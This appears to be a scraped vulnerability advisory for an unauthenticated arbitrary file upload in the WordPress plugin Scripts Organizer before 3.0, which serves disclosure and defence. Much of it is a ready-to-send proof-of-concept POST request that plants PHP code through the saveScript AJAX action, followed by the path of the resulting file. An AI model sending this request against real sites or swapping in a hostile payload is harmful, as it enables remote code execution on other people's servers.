Scripts Organizer < 3.0 - Unauthenticated Arbitrary File Upload

2022-09-0500:00:00

Ovidiu Maghetiu

unauthenticated arbitrary file upload

post

scripts organizer

EPSS

0.001

Percentile

40.8%

JSON

The plugin does not have capability and CSRF checks in the saveScript AJAX action, available to both unauthenticated and authenticated users, and does not validate user input in any way, which could allow unauthenticated users to put arbitrary PHP code in a file

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 295

action=saveScript&php_script=%22%3C%3Fphp+die('test')%3B%22&SCORG_enable_script=1&form_data=post_status%3Dpublish%26post_name%3Dtest%26post_author%3D1%26post_name%3Dtest%26post_ID%3D200%26post_title%3Dtest%26SCORG_enable_script%3D1%26SCORG_trigger_location%3Deverywhere%26SCORG_script_type%3Dphp


The file will be at https://example.com/wp-content/uploads/scripts-organizer/200.php

References

dplugins.com/products/scripts-organizer/

EPSS

0.001

Percentile

40.8%

JSON

Related for WPEX-ID:F3B450D2-84CE-4C13-AD6A-B60785DEE7E7